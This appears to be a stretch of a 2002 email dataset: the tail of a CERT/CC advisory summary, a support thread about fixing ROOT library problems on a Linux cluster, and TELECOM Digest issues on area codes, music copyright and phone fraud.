Apache/mod_ssl Worm http://www.cert.org/advisories/CA-2002-27.html CERT Advisory CA-2002-23 Multiple Vulnerabilities in OpenSSL http://www.cert.org/advisories/CA-2002-23.html Vulnerability Note #102795 OpenSSL servers contain a buffer overflow during the SSL2 handshake process http://www.kb.cert.org/vuls/id/102795 2. Trojan Horse Sendmail Distribution The CERT/CC has received confirmation that some copies of the source code for the Sendmail package have been modified by an intruder to contain a Trojan horse. These copies began to appear in downloads from the FTP server ftp.sendmail.org on or around September 28, 2002. On October 8, 2002, the CERT/CC issued an advisory (CA-2002-28) describing various methods to verify software authenticity. CERT Advisory CA-2002-28 Trojan Horse Sendmail Distribution http://www.cert.org/advisories/CA-2002-28.html 3. Trojan Horse tcpdump and libpcap Distributions The CERT/CC has received reports that some copies of the source code for libpcap, a packet acquisition library, and tcpdump, a network sniffer, have been modified by an intruder and contain a Trojan horse. These modified distributions began to appear in downloads from the HTTP server www.tcpdump.org on or around Nov 11, 2002. The CERT/CC issued an advisory (CA-2002-30) listing MD5 checksums and official distribution sites for libpcap and tcpdump. CERT Advisory CA-2002-30 Trojan Horse tcpdump and libpcap Distributions http://www.cert.org/advisories/CA-2002-30.html 4. Multiple Vulnerabilities in BIND The CERT/CC has documented multiple vulnerabilities in BIND, the popular domain name server and client library software package from the Internet Software Consortium (ISC). Some of these vulnerabilities may allow a remote intruder to execute arbitrary code with privileges of the the user running named (typically root). Several vulnerabilities are referenced in the advisory; they are listed here individually. CERT Advisory CA-2002-31 Multiple Vulnerabilities in BIND http://www.cert.org/advisories/CA-2002-31.html Vulnerability Note #852283 Cached malformed SIG record buffer overflow http://www.kb.cert.org/vuls/id/852283 Vulnerability Note #229595 Overly large OPT record assertion http://www.kb.cert.org/vuls/id/229595 Vulnerability Note #581682 ISC Bind 8 fails to properly dereference cache SIG RR elements invalid expiry times from the internal database http://www.kb.cert.org/vuls/id/581682 Vulnerability Note #844360 Domain Name System (DNS) stub resolver libraries vulnerable to buffer overflows via network name or address lookups http://www.kb.cert.org/vuls/id/844360 5. Heap Overflow Vulnerability in Microsoft Data Access Components (MDAC) On November 21, 2002 the CERT/CC issued an advisory (CA-2002-33) describing a vulnerability in MDAC, a collection of Microsoft utilities and routines that process requests between databases and network applications. CERT Advisory CA-2002-33 Heap Overflow Vulnerability in Microsoft Data Access Components (MDAC) http://www.cert.org/advisories/CA-2002-33.html ______________________________________________________________________ New CERT/CC PGP Key On September 19, the CERT/CC issued a new PGP key, which should be used when sending sensitive information to the CERT/CC. CERT/CC PGP Public Key https://www.cert.org/pgp/cert_pgp_key.asc Sending Sensitive Information To The CERT/CC http://www.cert.org/contact_cert/encryptmail.html ______________________________________________________________________ What's New and Updated Since the last CERT Summary, we have published new and updated * Advisories http://www.cert.org/advisories/ * Congressional Testimony http://www.cert.org/congressional_testimony/ * CERT/CC Statistics http://www.cert.org/stats/cert_stats.html * Home User Security http://www.cert.org/homeusers/HomeComputerSecurity * Tech Tips http://www.cert.org/tech_tips/ * Training Schedule http:/www.cert.org/training/ ______________________________________________________________________ This document is available from: http://www.cert.org/summaries/CS-2002-04.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright �2002 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPePMQWjtSoHZUTs5AQGdxwP9HK4mSF15bMQ9MZ4mMFcLIhvdXykANg8A 6nEIAyB8CJpbuWdP7sPh3qAwaZ9BhRFEGeLakONOpoo7bmjkwAWrJHxF3b1CrgHS ZuKQsgEhnm9wpPdU6w6SG1cJBkwz70b8d7YK0vcVuKhmaW0JOx9OLGKsAe3SFePD OiZbNHX+eb8= =Mnbn -----END PGP SIGNATURE----- ",0,1 steven james ,gilfoyle ,"Tue, 26 Nov 2002 16:19:36 -0500",Re: status of the Richmond cluster,"Greetings, The message about not finding ld.so.conf was a problem (fixed). The rest is just a result of the caching system, and will not affect the systems when they actually run. I am concerned about the master freezing up. Do you know if it displayed any sort of OOPS on the console monitor when it hung? There are two tactics to get this nailed down. One is to have the slaves copy their data directly from their /data? fileserver mounts. Currently, the data is being double copied it looks like. The other is to stagger the start times of the analysis runs at .5 to 1 minute intervals (perhaps a sleep 30 in a script?). This will help to narrow things down for a final resolution. G'day, sjames On Tue, 26 Nov 2002, gilfoyle wrote: > hi steven, > > here's the latest. > > 1. i restored root. this was done by deleting the old directory and > untarring the file from cern containing the libraries and the binaries. > i used the version for redhat 7.2 and gcc 2.96. the file is > > /usr/root/root_v3.03.09.Linux.RH7.2.gcc296.tar > > 2. i executed the 'bpsh -d allup /sbin/ldconfig -v >setuplog-02-nov-25' > and got the following. > > [root@pscm1]# bpsh -d allup /sbin/ldconfig -v > setuplog-02-nov-25 > /sbin/ldconfig: Can't open configuration file /etc/ld.so.conf: No such > file or directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or > directory > > ... lots more. > > i have attached the log file i created during this process. i didn't > know > if the messages above were a problem or not so i trudged on. > > 3. i tried running root from pscm1 and it worked beautifully. > > 4. i ran my scripts for submitting jobs to the cluster using four > analysis runs. this also ran beautifully. it produced output files > in the correct place that looked like things had worked. i was > very happy. i ran this script using slaves 0-3. i had not been able > to use slaves 2-3 before. > > 5. i ran my scripts using 12 analysis runs next. things started out > fine. i was monitoring the number of jobs running on the slaves. at that > point the jobs were either transferring data over to the slaves' disk > or starting the analysis. sometime during this process, the master > (pscm1) hung and i could get no response. this is similar to what we > saw a couple of weeks ago. i waited for quite some time as you > suggested in one of your emails, but i never got a response so i went > home. > > 6. after i came in this morning i could get no response from pscm1 so i > rebooted the master (actually my secretary did it. i am at JLab today). > root still runs fine on the master. i will ask sasko (our linux person) > to reboot the cluster today. > > let me know what you think. > > jerry > > > > steven james wrote: > > > > Greetings, > > > > Actually running root has been most informative. There appears to be a > > problem with the installation of root PRO. Looking at the dmesg output of > > node 3, root.exe is getting a segv when it tries to run. ldd shows that > > it's library requirements are unsatisfied (on the master as well!). > > > > When I add /usr/root/PRO/lib to /etc/ld/so.conf and run ldconfig, it tells > > me that several libraries in that directory are truncated. The real > > surprise is that it could run on node 0 at all. Possably the libs somehow > > got cached there and were later damaged. > > > > The best way to proceed would be to restore /usr/root/PRO/lib from backup > > or re-install the package, then bpsh -d allup /sbin/ldconfig -v >setuplog > > > > setuplog should show no problems then. > > > > I have set up the ld.so.conf on all nodes but 8 in advance to be ready for > > this operation. > > > > G'day, > > sjames > > > > On Mon, 18 Nov 2002, gilfoyle wrote: > > > > > hi steven, > > > > > > i tried running things yesterday and got the following. > > > > > > 1. i tried running my perl scripts on slaves 10-11 (i.e. analyze two > > > runs) and root did not run. the other tasks in the perl script were > > > done correctly. > > > > > > 2. i tried running root with the bpsh command from pscm1. i executed the > > > command in the area /scratch/gilfoyle/e5/24023 which is the area on the > > > slave. what is the jargon for this? mirror/ghost directory? it did not > > > run correctly or produce any output. however, there is a core file in > > > the > > > /scratch/gilfoyle/e5/24023 area on slave 10. > > > > > > 3. i tried running my perl scripts on slaves 0-1 since they worked > > > before. > > > they worked!! root ran and produced output files with filled histograms > > > and all the good stuff. > > > > > > 4. i tried running root on pscm1 (to look at the results of step 3) and > > > it did not run! it flashes its little greeting (which is an X-window > > > function) and then crashes. the core file is in > > > /home/gilfoyle/eod/run/results/. > > > > > > if you want to run this yourself the commands are the following. > > > > > > 1. to run root: > > > > > > root > > > > > > if you want to do more than that, let me know and i can give you a > > > quick how-to for looking at data. > > > > > > 2. to run root on slave 10: > > > > > > bpsh 10 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > > > > > the data files are already on the slave. usually i would delete them > > > after an analysis run, but i have them left them on the disk now for > > > testing. > > > > > > 3. to submit a job to the cluster. > > > > > > a. go to /home/gilfoyle/eod/run. > > > b. execute submit_eod3c.pl > > > > > > the scripts are submit_eod3c.pl and run_root_on_node3.pl. the main > > > input file is /home/gilfoyle/eod/run/E5_run_numbers.inp which > > > determines which runs to analyze. right now it only lists 2 runs so > > > only two runs will get analyzed when you run submit_eod3c.pl. the > > > script submit_eod3c.pl sets some parameters including which slaves > > > to run the analysis on. for example, see the parameter first_node > > > in submit_eod3c.p. > > > > > > let me know if there is more that will help. i'm starting to get a bit > > > desperate to get this thing working. > > > > > > jerry > > > > > > > > > > > > > > > > > > steven james wrote: > > > > > > > > Greetings, > > > > > > > > I believe I have all of the library issues dealt with. > > > > > > > > I noticed a possably confusing behaviour that might have been the root of > > > > some of this. > > > > > > > > Perl depends on several libraries in /lib to run. Unlike those in > > > > /usr/lib, they were being managed by caching rather than just being > > > > available from NFS. It can take about a minute for the libs to be fetched > > > > from the master. During that time, the app will appear hung, but will > > > > eventually start. > > > > > > > > I have pre-cached the files onto the node's local drive to try to avoid > > > > that delay. > > > > > > > > Since the libs are cached, once that startup penelty is paid, it doesn't > > > > happen again for those libs on that node until reboot. > > > > > > > > You can see this happen using tcpdump (I have a binary of it in my home > > > > directory). The libs are transferred as a stream of multicast packets. > > > > > > > > Please let me know if this gets it going. If problems remain, a good > > > > approach might be for me to make a copy of your test data and try the runs > > > > myself until the expected results come up. > > > > > > > > G'day, > > > > sjames > > > > > > > > On Thu, 14 Nov 2002, gilfoyle wrote: > > > > > > > > > hi steven, > > > > > > > > > > i'm checking in (when there is no beam) to find out the > > > > > status of the cluster. have the library issues been resolved? > > > > > if so, what was the solution? i'm itching to let this thing > > > > > get cooking. > > > > > > > > > > jerry > > > > > > > > > > > > > > > > > > -- > > > > -------------------------steven james, director of research, linux labs > > > > ... ........ ..... .... 230 peachtree st nw ste 701 > > > > the original linux labs atlanta.ga.us 30303 > > > > -since 1995 http://www.linuxlabs.com > > > > office 404.577.7747 fax 404.577.7743 > > > > ----------------------------------------------------------------------- > > > > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 editor@telecom-digest.org,ptownson,"Wed, 27 Nov 2002 01:41:52 -0500",TELECOM Digest V22 #151,"TELECOM Digest Wed, 27 Nov 2002 01:42:00 EST Volume 22 : Issue 151 Inside This Issue: Editor: Patrick A. Townson Re: Blocking Ring Voltage (Jay Hennigan) Re: Blocking Ring Voltage (Rich Campbell) Re: Olde Farte Week (John Higdon) Re: Wireless Carriers Unite With Message: Don't Single Out (John Higdon) Re: Wireless Carriers Unite With Message: Don't Single Out (Steven Sobol) Re: Wireless Carriers Unite With Message: Don't Single Out (John Higdon) Re: RIAA Orders US Navy to Surrender (John Higdon) Re: RIAA Orders US Navy to Surrender (Ed Ellers) Treo Tweak Promises Turbo Access (Monty Solomon) Re: Need Help Finding Certain Phone (Mike) Re: Consumer Fraud Alert; Voicemail Users Beware (Dave Phelps) Last Laugh! Telemarketer Phun (John Higdon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Jay Hennigan Subject: Re: Blocking Ring Voltage Organization: Disgruntled Postal Workers Against Gun Control Date: Tue, 26 Nov 2002 21:13:18 GMT On 24 Nov 2002 15:51:49 -0800, Lincoln J. King-Cliby wrote: > At my house I have a Compaq Proliant 3000 server with a Compaq > RemoteInsight (management) board. The main appeal of the RIB for me is > that it can send pager alerts when things that aren't suposed to > happen happen, and since it is hardware-based with its own built in > battery backup it can catch almost any problems. Unfortunately, the > modem that it uses can also be used to remotely manage the system -- > which would be nice, but I want to connect it to my (single) > residental telephone line and it automatically answers on the first > ring (There isn't a way to disable this 'feature') Bizarre. You can't send it an ""ATS0=0&W""? > Thus my question -- can anyone provide any ideas for how to build a > device that I can put between the server and the telephone jack that > will allow it to call out, but will keep any ringing voltages from > reaching the modem -- and won't affect the other phones in the house. On the board, look for a relatively large (physically) capacitor with a voltage rating of 200 or greater, probably about 0.5 microfarad or so connected near the line jack. Snip it out. Jay Hennigan - CCIE #7880 - Network Administration - jay@west.net NetLojix Communications, Inc. - http://www.netlojix.com/ WestNet: Connecting you to the planet. 805 884-6323 ------------------------------ From: Rich Campbell Subject: Re: Blocking Ring Voltage Organization: AT&T Broadband Date: Tue, 26 Nov 2002 21:50:38 GMT Simple, get a comshare device and hook it up so that the computer is on the modem port ... solved. Rich Lincoln J. King-Cliby wrote in message news:telecom22.145.6@telecom-digest.org: > Hello -- > At my house I have a Compaq Proliant 3000 server with a Compaq > RemoteInsight (management) board. The main appeal of the RIB for me is > that it can send pager alerts when things that aren't suposed to > happen happen, and since it is hardware-based with its own built in > battery backup it can catch almost any problems. Unfortunately, the > modem that it uses can also be used to remotely manage the system -- > which would be nice, but I want to connect it to my (single) > residental telephone line and it automatically answers on the first > ring (There isn't a way to disable this 'feature') > Thus my question -- can anyone provide any ideas for how to build a > device that I can put between the server and the telephone jack that > will allow it to call out, but will keep any ringing voltages from > reaching the modem -- and won't affect the other phones in the house. > I have several *adio*hac*s near by, and a coupple Frys within striking > distance. > Thanks, > Lincoln King-Cliby ------------------------------ From: John Higdon Subject: Re: Olde Farte Week Organization: Green Hills and Cows Date: Tue, 26 Nov 2002 15:04:57 -0800 In article , J Kelly wrote: > I loved the old C-64 and VIC-20. I always thought that poke of death > was an urban legend among Commodore users. And boy, do I ever > remember how hot the old 1541's would run. The beginnings of my company's business ran on VIC-20s (purchased in bulk from Toys-R-Us). Assembly-language programs were burned into eproms and run from the ""game slot"". In other words, we took over the whole machine. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: John Higdon Subject: Re: Wireless Carriers Unite With Message: Don't Single Out Organization: Green Hills and Cows Date: Tue, 26 Nov 2002 15:01:25 -0800 In article , johnl@iecc.com (John R. Levine) wrote: > How is California coming with LNP and thousands allocation? They're > the real way that you avoid new area codes, by not allocating zillions > of numbers to CLECs that won't use them. I don't know about ""thousands allocaton"", but number portability is quite common. Customers with SBC numbers can have that number served by any SS7-connected CLEC. It doesn't have to fall into any particular block or have any particular prefix to be portable. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Wireless Carriers Unite With Message: Don't Single Out Date: Tue, 26 Nov 2002 23:06:32 -0000 Organization: JustThe.net LLC > [TELECOM Digest Editor's Note: Well, that's what they did in Chicago, IL > you know. A handful of big, big businesses in downtown made such a > stink about the 312/773 split a few years ago, Ameritech decided to > let them (the handful of big businesses downtown) keep 312 and forced > the majority of the city to go with 773. Now you have to dial eleven > digits to get a call from one side of North Avenue to the other side. > But we mustn't be unfair and 'anti-consumer' to the First National > Bank and or big corporations downtown by asking them to change their > area code and reprint their stationary and reprogram their PBXs. PAT] It's SBC. I am quite surprised they didn't tell the big companies to go screw themselves along with the small fries. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! [TELECOM Digest Editor's Note: SBC is a relatively new arrival in Chicago, IL. In those days, early to middle 1990's, Ameritech had Chicago (among other places); Southwestern Bell took over in Missouri and, well, south and westward. PAT] ------------------------------ From: John Higdon Subject: Re: Wireless Carriers Unite With Message: Don't Single Out Organization: Green Hills and Cows Date: Tue, 26 Nov 2002 15:17:16 -0800 In article , Joseph wrote: > So, to make it convenient for a few people they're going to > inconvenience a whole lot of people to stave off for a couple of years > the *inevitable* that will indeed require them to dial 11 digits on > every call. With the number of area codes in the area odds are that > for many calls now they must dial 11 digits. This thing about saving > someone from dialing three or four extra digits is totally bogus. > They may save dialing the extra digits ""for a few short years"", but > eventually they're going to have to bite the bullet and have 11 digit > dialing whether they like the idea or not. I'm really surprised > things haven't reached crisis level yet with numbering in California. > People learn to deal with the extra digits and while they might not > like dialing the extra digits they get used to it. While we in the northern part of the state get eclipsed by SoCal, that exact situation is just about upon us. San Jose and its environs is currently encapsulated within 408. Several years ago, PacBell had an overlay prepared and scheduled. The code was to be 669. In an uproar, mainly fueled by the media and the press, the company was forced to back down. By reclaiming numbers from CLECs, and by going crazy with ""informal"" prefixes, the split was postponed. Now the piper's bill is coming due, and the split will be required soon. This time, however, to avoid the wrath of the San Jose Mercury News, the split will be geographical. The dividing line will pass right through the city of San Jose, and in fact pass right down the middle of one of the city's districts. Half the city will have to dial those dreaded 11 digits to reach the other half ... after they figure out where they are in relation to the person they are trying to reach. With the overlay, it would always be clear. You have to understand that in California, the media runs the show. If the news business doesn't like something, you can forget it. Overlays are the order of the day everywhere else because they make sense. But not in California, apparently. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: John Higdon Subject: Re: RIAA Orders US Navy to Surrender Organization: Green Hills and Cows Date: Tue, 26 Nov 2002 14:54:23 -0800 In article , TELECOM Digest Editor noted: > Maybe it would be a good idea for the > RIAA to poll its members on whether or not military guys should be > deprived of their entertainment. If they studied their history rather > than their bottom line so much they might discover that many artists, > musicians, entertainers, others routinely and freely give of > themselves to help soldiers, etc. Consider how during the VietNam era, > World War II and many other conflicts the musicians and artists and > show people would go and give free shows on bases, etc. Probably RIAA > would not approve of that either. RIAA members don't sell MP3s. RIAA members are trying to keep customers from making their own, even from duly-purchased CDs. But ... customers WANT and (according to surveys) are willing to pay for authorized MP3s for use in computers and pocket players. No, customers definitely DON'T want ""secure"" files that become unplayable without a net connection (try playing those in the Gulf!). No, customers don't want files that won't play on another computer (computers fail) or won't play on a pocket player. But then, says the RIAA, who cares what customers want? Meanwhile, as Pat suggested in another post, the movie industry (you know, the one who initially proclaimed the DVD to be the instrument of their own death) is raking more money than it can count from DVD sales and rentals. In fact, the DVD has been the salvation of many films that were stinkers at the box. In addition, Hollywood has cashed in on the ""film restoration"" bandwagon, where new life has been breathed into films that were stagnant on the shelves. Even George Lucas discovered that by releasing his sacred Star Wars films in a timely manner on DVD, he made MORE money than by throwing a fit about how HE was the one controlling everything and that he would never release a film on video before HE was ready. Over the years, I have been an avid CD and DVD collector. I have thousands and thousands of CDs and about a thousand DVDs. However, I have stopped buying CDs. Why? I refuse to buy a crippled product that cannot be transported to my iPod, laptop, car player, or other convenient listening devices. Ironically, I can readily play my DVDs on my laptop; BMG says I'm no longer permitted to do that with CDs that I purchase. If you treat customers like criminals, ultimately those providing your revenue will throw up their hands and walk away. At that point, all the jack-booted copyright enforcement and all the copy-protection technology in the universe will not save your bacon. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: John, when you talk about 'BMG' are you referring to the company in Indianapolis, IN which operates all the various 'clubs' for books, records, CDs, etc? Years ago, they also operated the 'RCA Victor Record Club', and the 'Talking Book Society' with audio books for visually handicapped people. When I volunteered my time at the Chicago Public Library with their radio reading service for visually handicapped people (CRIS Radio) I had a lot of trouble with getting them to give permission to use their audio books on the library radio station. Regarding Hollywood and DVD sales, I think it is Warner Brothers which now has some subsidiary set up to sell DVDs real cheap (for very old [like 1930-40's movies], slightly more on more recent films) and you are right; they are making a killing at it. Its not at all the death of the industry they predicted. The death of movie theatres, perhaps, but not the whole industry. PAT] ------------------------------ From: Ed Ellers Subject: Re: RIAA Orders US Navy to Surrender Date: Tue, 26 Nov 2002 19:42:41 -0500 PAT replied: ""My point is still valid."" See below. > If they will pillage and take away Navy laptop computers in their desparate > bid to get their precious files, what makes YOU think they won't resort to > the same tactics with your property? The RIAA didn't take any computers. The Navy took back *its own* computers. [TELECOM Digest Editor's Note: That is open to dispute. *If* the computers were the Navy's own property, then they had every right to them. But, in the previous issue of the Digest this morning, it was suggested that the computers were bought and paid for by the private money of the sailors who were disciplined, and NOT the Navy's property. I only know a few things from personal experience (civilian employment at Fort Riley, Kansas in 1999) but there were a lot of personal and private computers in the soldiers' barracks. And yes, there were also a lot of laptops around that were government property. Which computers precisely had the verbotin files? Files that should not have been on the internet to begin with if their rightful owners do not believe in sharing with other netters, but that is a moot point. Do you know? PAT] ------------------------------ Date: Tue, 26 Nov 2002 20:31:10 -0500 From: Monty Solomon Subject: Treo Tweak Promises Turbo Access By Richard Shim Staff Writer, CNET News.com Handspring is releasing a software upgrade in the United States that improves the e-mail and Web capabilities on its Treo devices, the company said Tuesday. The update allows people with Treo models 180, 180g and 270 using T-Mobile cellular service to access GPRS (General Packet Radio Service) networks, which should provide improved e-mail and Web access. The new version is available free on the Handspring Web site, and T-Mobile plans to make it available for download on its Web site. Handspring says it is working with Cingular to ensure that the update is compatible with that wireless carrier's GPRS network. The new software had already been made available to Treo owners in Europe and Asia. http://news.com.com/2100-1040-975400.html ------------------------------ From: littleboyblu87@yahoo.com (Mike) Subject: Re: Need Help Finding Certain Phone Date: 26 Nov 2002 19:28:57 -0800 Organization: http://groups.google.com/ littleboyblu87@yahoo.com (Mike) wrote in message news:: > I want to buy an cordless phone with an answering machine and a caller > ID. I want one that allows me to listen to answering machine messages > from the phone itself. For example, if I'm outside and someone calls > but I don't want to answer and they leave a message, I can hear that > message as it is being left just by pushing a button on the phone. > I saw one of these before but I'm having trouble finding them > now. I've been to bestbuy.com, circuitcity.com, and att.com but they > don't seem to have them. Or maybe that feature isn't listed on the > sites. I don't even know what that feature is called exactly. Does > anyone know? Does anyone know where I can find one of these phones? > Thanks. > [TELECOM Digest Editor's Note: I have a phone just like that. Cordless > in the 900 megs range; answering machine in the base unit which is > totally digital, with two outgoing messages for different circumstances, > (messages have to be manually switched on or off; cannot change them > based on ringing cadence for example); CallerID in the handset along > with some speed dial and review of caller numbers; AND its handsfree > with a headset that plugs in the side of the wireless handset. Go out > in your backyard, wear the headset, sit down and take/receive calls. > What it WON'T do is allow playback of messages from the cordless > handset, but there is a way around that, sort of. Just as the answering > machine is starting to pick up, tap the button you use to turn on the > phone. Just don't speak. Sit there quietly, and you can listen as the > person speaks to the recorder. A friend of mine bought it for me at > Costco, in a town in Oregon where he goes now and then. The cost > was less than fifty dollars for the entire unit (digital answering > machine, caller-ID, cordless phone with headset. It will also announce > the time and date of messages. It is made by Uniden and is one of > their top of the line cordless phone units. A VERY good unit for less > than fifty dollars. I have it pick up on my distinctive ring line > only. Both the main number and distinctive ring-ring line sound the > bell of course, but the main number gets withdrawn and pulled away > after three rings and sent to my cell phone. The distinctive ring-ring > line gives a fourth ring to give me time to answer, then the Uniden > answering machine gets it. Naturally there are about 65,535 code > sequences so passers by can't 'cruise for dial tone' on my line. In > fact, I have a *second* Uniden cordless phone on the same line in > another room here, and they do not 'bump into each other' at all. > Neither of the Uniden cordless phones (either the fancy one from > Costco in Oregon) or the plain vanilla one I had before that has the > kind of range I would like. If out of my house, I can walk a half > block down the alley or to either corner (I am in the middle of the > block) and it stops working. I'd like to be able to walk entirely > around the block and still be able to use it. You get about a week > on one battery charge for standby time, less the more you talk of > course. If you set the phone down, you can use the base to locate > where you left the handset/headset part. > Except for that one glaring deficiency (being able to listen to > messages after the fact on the handset), it seems to do what you want > to do. PAT] Ummm ... I don't want to be able to playback messages from the handset. I want to be able to listen to them AS they are being left. There's a difference. I know these phones exist, a relative has one. I want a phone like this for my dad for Christmas. It must have this feature along with a caller id and digital answering machine. I've looked all over the place and I can't find anything about these types of phones. Doesn't anyone know anything? Thanks again. [TELECOM Digest Editor's Note: Please go back and read my second paragraph again. You do what you want to do by waiting until the very instant the answering machine picks up, then quickly and quietly bringing the handset into service. YOU MUST WAIT UNTIL THE MINUTE THE ANSWERING MACHINE PICKS UP, THEN CLICK AND GO IN ON THE LINE. Go in a fraction of a minute too soon, the answering machine won't pick up. Go a fraction of a minute too late; the answering machine has picked up and it excludes the handset. Have them enter the line at the same time, the unit gets a bit confused over what to do with the call and talks to both. That's not in the instruction book because the company (Uniden) did not plan for that. And it won't work each and every time. Sometimes in its confusion, it simply hangs up the line and won't speak at all. PAT] ------------------------------ From: Dave Phelps Subject: Re: Consumer Fraud Alert; Voicemail Users Beware Date: Tue, 26 Nov 2002 22:08:09 -0600 In article , monty@roscom.com says: > MORRISTOWN, N.J., Nov. 25 /PRNewswire/ -- Consumers are beginning > to see the effects of a new form of fraud on their telephone bills. ""New"" form of fraud? Hardly. Some reporter must have just recently heard about it. Dave Phelps Phone Masters Ltd. deadspam=tippenring ------------------------------ From: John Higdon Subject: Last Laugh! Telemarketer Phun Organization: Green Hills and Cows Date: Tue, 26 Nov 2002 16:43:02 -0800 I got hit with another home-based telemarketer machine yesterday. But this one is fun: you can call the number and with only few tries get in between calls. Once you are in, the machine squirts a burst of DTMF in your ear (the next victim). All you have to do at that point is to say ""hello"" and the machine delivers its spiel. It ultimately asks you to leave your name and phone number. I'll leave it to you what to say at that point. Then it hangs up. All you have to do is wait a few seconds and the cycle repeats. For your dining and dancing pleasure: 408 283-5258. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: What about you, John? Did you say something crude and rude or possibly lewd? Or something sick? I couldn't resist and tried the number on receipt of your late evening message here. But it *was* late, and for me at least, it just rang open with no answer. Maybe they were closed for the night, and had put the dialer to bed also. Say, do you know or not if the company has an 800 number which attaches to that 408 version? I hate to impose on out-of-area readers here by telling them to spend their own five or ten cents to call it. But maybe tomorrow they won't get very many calls out because the machine will spend all its time arguing with bogus inbound calls. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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End of TELECOM Digest V22 #151 ****************************** >From editor@telecom-digest.org Wed Nov 27 15:37:16 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gARKbG319633; Wed, 27 Nov 2002 15:37:16 -0500 (EST) Date: Wed, 27 Nov 2002 15:37:16 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200211272037.gARKbG319633@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #152 TELECOM Digest Wed, 27 Nov 2002 15:36:00 EST Volume 22 : Issue 152 Inside This Issue: Editor: Patrick A. Townson Feds, Integretel Settle Yet Another Porn/Misbilling Case (Danny Burstein) Fraud Case: Greed Bred Sloppiness (Monty Solomon) Re: RIAA Orders US Navy to Surrender (Ray Depew) Re: RIAA Orders US Navy to Surrender (Ron Chapman) Re: RIAA Orders US Navy to Surrender (Ed Ellers) Re: RIAA Orders US Navy to Surrender (John Higdon) Update Message - Re: RIAA Orders US Navy to Surrender (Ed Ellers) Students Learning to Evade Moves to Protect Media Files (Monty Solomon) Ad Firms Set Rules For Web Tracking Bugs (Monty Solomon) Sony Pictures Forms Lobby Group (Monty Solomon) Giant Communications Satellite Stranded in Space (Monty Solomon) Risk of Internet Collapse Rising (Monty Solomon) If TiVo Thinks You Are Gay, Here's How to Set It Straight (Monty Solomon) Re: Need Help Finding Certain Phone (Owain) Re: BASIC/FORTRAN/COBOL (Jim Van Nuland) Re: AIRWAVES FCC Database Search is Not Working? (Steven J. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Danny Burstein Subject: Feds, Integretel Settle Yet Another Porn/Misbilling Case Date: Wed, 27 Nov 2002 00:50:22 -0500 Organization: PANIX Public Access Internet and UNIX, NYC Companies That Billed Consumers for Adult ""Videotext"" Internet Services Settle FTC Charges Integretel, Inc. and eBillit, Inc. Must Investigate Consumer Complaints About Unauthorized Billing; Will Release $1.6 Million in Previously Collected Funds [ snip ] Once the dialer software was downloaded, it disconnected the consumer's modem from its usual Internet service provider, dialed an international phone number to Madagascar and reconnected the modem to the Internet from some overseas location. The line subscribers then began incurring charges on their phone lines for the remote Internet connection at the rate of $3.99 per minute. In its complaint, the 